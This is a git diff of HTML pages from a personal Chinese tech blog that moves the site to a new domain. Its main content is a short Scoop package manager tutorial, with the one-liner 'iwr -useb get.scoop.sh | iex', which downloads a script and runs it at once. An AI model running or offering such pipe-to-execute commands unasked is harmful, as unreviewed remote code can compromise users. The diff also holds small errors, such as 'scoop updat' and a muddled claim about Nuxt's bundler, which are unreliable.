id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Scoop包管理器</h1><div class=post-meta><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Scoop%e5%8c%85%e7%ae%a1%e7%90%86%e5%99%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew</p><p>scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）</p><p>允许执行本地脚本权限</p><p>Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser</p><p>修改Scoop安装目录（用户级）</p><p>$env:SCOOP=&lsquo;D:\Software\Scoop&rsquo;
+scoop update *"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"简单使用Scoop包管理器","item":"https://chenjunlinabc.github.io/posts/150/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"简单使用Scoop包管理器","name":"简单使用Scoop包管理器","description":"Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew\nscoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）\n允许执行本地脚本权限\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser\n修改Scoop安装目录（用户级）\n$env:SCOOP=\u0026lsquo;D:\\Software\\Scoop\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP\u0026rsquo;, $env:SCOOP, \u0026lsquo;User\u0026rsquo;)\n修改Scoop安装目录（全局）\n$env:SCOOP_GLOBAL=\u0026lsquo;D:\\Software\\Scoop\\Global\u0026rsquo; [Environment]::SetEnvironmentVariable(\u0026lsquo;SCOOP_GLOBAL\u0026rsquo;, $env:SCOOP_GLOBAL, \u0026lsquo;Machine\u0026rsquo;)\n目录介绍： apps：通过scoop安装的软件存储的目录\nbuckets：管理软件的仓库目录（记录了哪些仓库有哪些软件）\nchache：软件安装包目录\npersit：存储用户数据，与软件分离\nshims；软链接\n安装scoop\niwr -useb get.scoop.sh | iex\n或者\niex (new-object net.webclient).downloadstring(\u0026lsquo;https://get.scoop.sh\u0026rsquo;)\n安装软件\nscoop install sudo\n查看环境存在的问题\nscoop checkup\n将一些scoop环境必须的软件安装一下\n搜索软件\nscoop search git\n安装软件\nscoop install git\n查看软件信息\nscoop info git\n查看已经安装的软件\nscoop list\n卸载软件（-p删除配置）\nscoop uninstall git -p\n更新软件\nscoop update git\n更新全部已安装软件\nscoop update *","keywords":["scoop","windows"],"articleBody":"Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew\nscoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）\n允许执行本地脚本权限\nSet-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser\n修改Scoop安装目录（用户级）\n$env:SCOOP=‘D:\\Software\\Scoop’ [Environment]::SetEnvironmentVariable(‘SCOOP’, $env:SCOOP, ‘User’)\n修改Scoop安装目录（全局）\n$env:SCOOP_GLOBAL=‘D:\\Software\\Scoop\\Global’ [Environment]::SetEnvironmentVariable(‘SCOOP_GLOBAL’, $env:SCOOP_GLOBAL, ‘Machine’)\n目录介绍： apps：通过scoop安装的软件存储的目录\nbuckets：管理软件的仓库目录（记录了哪些仓库有哪些软件）\nchache：软件安装包目录\npersit：存储用户数据，与软件分离\nshims；软链接\n安装scoop\niwr -useb get.scoop.sh | iex\n或者\niex (new-object net.webclient).downloadstring(‘https://get.scoop.sh’)\n安装软件\nscoop install sudo\n查看环境存在的问题\nscoop checkup\n将一些scoop环境必须的软件安装一下\n搜索软件\nscoop search git\n安装软件\nscoop install git\n查看软件信息\nscoop info git\n查看已经安装的软件\nscoop list\n卸载软件（-p删除配置）\nscoop uninstall git -p\n更新软件\nscoop update git\n更新全部已安装软件\nscoop update *\n导出已安装软件列表\nscoop.cmd export \u003e App_list.txt\n添加官方的bucket（包含大量的软件）\nscoop bucket add main scoop bucket add extras\n更新仓库\nscoop updat\n限制软件更新\nscoop hold git\n代理\nscoop config proxy 127.0.0.1:7890\n取消代理\nscoop config proxy none\n查看其他scoop命令\nscoop help\n","wordCount":"104","inLanguage":"en","datePublished":"2022-05-20T22:10:00Z","dateModified":"2022-05-20T22:10:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/150/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>简单使用Scoop包管理器</h1><div class=post-meta><span title='2022-05-20 22:10:00 +0000 UTC'>2022-05-20</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e7%ae%80%e5%8d%95%e4%bd%bf%e7%94%a8Scoop%e5%8c%85%e7%ae%a1%e7%90%86%e5%99%a8.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Scoop是windows平台下开源的命令行软件包管理器，类似于ubuntu的apt或者macOS的brew</p><p>scoop仓库里面全部都是通过审核的绿色软件包（前提是不要乱用来路不明的scoop源）</p><p>允许执行本地脚本权限</p><p>Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser</p><p>修改Scoop安装目录（用户级）</p><p>$env:SCOOP=&lsquo;D:\Software\Scoop&rsquo;
 [Environment]::SetEnvironmentVariable(&lsquo;SCOOP&rsquo;, $env:SCOOP, &lsquo;User&rsquo;)</p><p>修改Scoop安装目录（全局）</p><p>$env:SCOOP_GLOBAL=&lsquo;D:\Software\Scoop\Global&rsquo;
 [Environment]::SetEnvironmentVariable(&lsquo;SCOOP_GLOBAL&rsquo;, $env:SCOOP_GLOBAL, &lsquo;Machine&rsquo;)</p><p>目录介绍：
 apps：通过scoop安装的软件存储的目录</p><p>buckets：管理软件的仓库目录（记录了哪些仓库有哪些软件）</p><p>chache：软件安装包目录</p><p>persit：存储用户数据，与软件分离</p><p>shims；软链接</p><p>安装scoop</p><p>iwr -useb get.scoop.sh | iex</p><p>或者</p><p>iex (new-object net.webclient).downloadstring(&lsquo;<a href=https://get.scoop.sh>https://get.scoop.sh</a>&rsquo;)</p><p>安装软件</p><p>scoop install sudo</p><p>查看环境存在的问题</p><p>scoop checkup</p><p>将一些scoop环境必须的软件安装一下</p><p>搜索软件</p><p>scoop search git</p><p>安装软件</p><p>scoop install git</p><p>查看软件信息</p><p>scoop info git</p><p>查看已经安装的软件</p><p>scoop list</p><p>卸载软件（-p删除配置）</p><p>scoop uninstall git -p</p><p>更新软件</p><p>scoop update git</p><p>更新全部已安装软件</p><p>scoop update *</p><p>导出已安装软件列表</p><p>scoop.cmd export > App_list.txt</p><p>添加官方的bucket（包含大量的软件）</p><p>scoop bucket add main
-scoop bucket add extras</p><p>更新仓库</p><p>scoop updat</p><p>限制软件更新</p><p>scoop hold git</p><p>代理</p><p>scoop config proxy 127.0.0.1:7890</p><p>取消代理</p><p>scoop config proxy none</p><p>查看其他scoop命令</p><p>scoop help</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/scoop/>scoop</a></li><li><a href=https://xiaochenabc123.github.io/tags/windows/>windows</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/152/><span class=title>« Prev</span><br><span>Nuxt.js学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/149/><span class=title>Next »</span><br><span>简单使用Corepack-包管理器的管理器</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+scoop bucket add extras</p><p>更新仓库</p><p>scoop updat</p><p>限制软件更新</p><p>scoop hold git</p><p>代理</p><p>scoop config proxy 127.0.0.1:7890</p><p>取消代理</p><p>scoop config proxy none</p><p>查看其他scoop命令</p><p>scoop help</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/scoop/>scoop</a></li><li><a href=https://chenjunlinabc.github.io/tags/windows/>windows</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/152/><span class=title>« Prev</span><br><span>Nuxt.js学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/149/><span class=title>Next »</span><br><span>简单使用Corepack-包管理器的管理器</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/152/index.html b/posts/152/index.html
index 12e70594..4ad839f4 100644
--- a/posts/152/index.html
+++ b/posts/152/index.html
@@ -9,8 +9,8 @@
 构建打包
 yarn build
 yarn start
-启动测试环境 yarn test"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/152/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Nuxt.js学习笔记"><meta property="og:description" content="nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
+启动测试环境 yarn test"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/152/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Nuxt.js学习笔记"><meta property="og:description" content="nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
 需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等
@@ -21,7 +21,7 @@
 构建打包
 yarn build
 yarn start
-启动测试环境 yarn test"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/152/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-06-05T21:36:00+00:00"><meta property="article:modified_time" content="2022-06-05T21:36:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Nuxt.js学习笔记"><meta name=twitter:description content="nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
+启动测试环境 yarn test"><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/152/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2022-06-05T21:36:00+00:00"><meta property="article:modified_time" content="2022-06-05T21:36:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Nuxt.js学习笔记"><meta name=twitter:description content="nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具
 创建项目
 yarn create nuxt-app test
 需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等
@@ -32,9 +32,9 @@
 构建打包
 yarn build
 yarn start
-启动测试环境 yarn test"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Nuxt.js学习笔记","item":"https://xiaochenabc123.github.io/posts/152/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Nuxt.js学习笔记","name":"Nuxt.js学习笔记","description":"nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具\n创建项目\nyarn create nuxt-app test\n需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等\n安装依赖\nyarn\n启动项目\nyarn dev\n构建打包\nyarn build\nyarn start\n启动测试环境 yarn test","keywords":["vuejs","Nuxt.js"],"articleBody":"nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具\n创建项目\nyarn create nuxt-app test\n需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等\n安装依赖\nyarn\n启动项目\nyarn dev\n构建打包\nyarn build\nyarn start\n启动测试环境 yarn test\n","wordCount":"20","inLanguage":"en","datePublished":"2022-06-05T21:36:00Z","dateModified":"2022-06-05T21:36:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/152/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Nuxt.js学习笔记</h1><div class=post-meta><span title='2022-06-05 21:36:00 +0000 UTC'>2022-06-05</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Nuxt.js%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具</p><p>创建项目</p><p>yarn create nuxt-app test</p><p>需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等</p><p>安装依赖</p><p>yarn</p><p>启动项目</p><p>yarn dev</p><p>构建打包</p><p>yarn build</p><p>yarn start</p><p>启动测试环境
-yarn test</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/vuejs/>vuejs</a></li><li><a href=https://xiaochenabc123.github.io/tags/nuxt.js/>Nuxt.js</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/153/><span class=title>« Prev</span><br><span>ECharts数据可视化图表库简单使用</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/150/><span class=title>Next »</span><br><span>简单使用Scoop包管理器</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+启动测试环境 yarn test"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Nuxt.js学习笔记","item":"https://chenjunlinabc.github.io/posts/152/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Nuxt.js学习笔记","name":"Nuxt.js学习笔记","description":"nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具\n创建项目\nyarn create nuxt-app test\n需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等\n安装依赖\nyarn\n启动项目\nyarn dev\n构建打包\nyarn build\nyarn start\n启动测试环境 yarn test","keywords":["vuejs","Nuxt.js"],"articleBody":"nuxt是一个基于vue的应用框架，用于创建服务端渲染应用，使用vite作为打包器，使用webpack作为构建工具\n创建项目\nyarn create nuxt-app test\n需要做一些选择，例如：选择TypeScript，选择Yarn，选择UI框架等等\n安装依赖\nyarn\n启动项目\nyarn dev\n构建打包\nyarn build\nyarn start\n启动测试环境 yarn test\n","wordCount":"20","inLanguage":"en","datePublished":"2022-06-05T21:36:00Z","dateModified":"2022-06-05T21:36:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/152/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a 